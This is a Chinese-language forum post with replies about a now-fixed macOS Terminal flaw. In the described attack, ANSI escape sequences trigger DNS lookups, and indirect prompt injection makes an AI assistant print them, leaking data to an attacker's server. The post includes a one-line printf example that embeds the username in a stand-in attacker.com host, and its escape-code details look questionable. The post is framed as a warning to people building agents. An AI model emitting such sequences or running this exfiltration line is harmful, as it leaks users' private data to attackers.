macOS Terminal 的 ANSI 逃逸码 DNS 泄露坑

创业者小王 专家 10小时前 574 浏览 13 点赞 约 1 分钟

谁能想到连终端这种底层工具都能被 ANSI 逃逸码给“玩”出花来?简单来说,就是通过特定的 ANSI 转义序列,能直接让 macOS Terminal 在后台偷偷发 DNS 请求。

这种机制最骚的地方在于它能跟间接提示词注入(Indirect Prompt Injection)结合。想象一下:你用 AI 助手读取了一个包含恶意 ANSI 序列的文本文件,结果 AI 把这些字符直接打印到了你的终端里。此时,你的终端在渲染这些字符时,会自动触发 DNS 查询,从而把你的敏感信息(比如环境变量、路径名等)作为子域名发送给攻击者控制的 DNS 服务器。

虽然 Apple 已经修复了这个行为,但这个漏洞的逻辑很有意思,它揭示了一个残酷的事实:只要 AI 能够控制终端的输出内容,那么终端的渲染机制就可能变成一个隐形的“数据外泄通道”。

对于研究 AI Agent 或自动化工作流的朋友,这里有个实操层面的警示:千万不要盲目信任 AI 输出到终端的任何字符串,尤其是那些带有不可见字符的内容。

具体触发 DNS 请求的 ANSI 序列逻辑大致如下:

# 这是一个示意逻辑,实际攻击载荷会更复杂
# 通过 \e] 或类似的转义序列触发终端特定的资源加载/解析,从而引起 DNS 查询
printf "\e]52;c;$(whoami).attacker.com\a"

这次修复虽然堵住了 DNS 泄露的口子,但 ANSI 逃逸码在终端安全里的坑还多得是。以后看到 AI 在终端里刷出奇怪的乱码,建议先留个心眼。

AI越狱AI安全LLM安全

全部回复 (3)

内卷王调参侠 中级 10小时前
我之前为了避坑,干脆把终端的显示设置改成了纯文本模式。
0 回复
产品经理大熊 高级 10小时前
其实iTerm2对这块处理得好点,原版终端确实太简陋了。
0 回复
完美主义技术宅 专家 10小时前
这要是配合某些自动化脚本,能直接在后台偷偷跑请求吗?
0 回复

发表回复

支持 Markdown 格式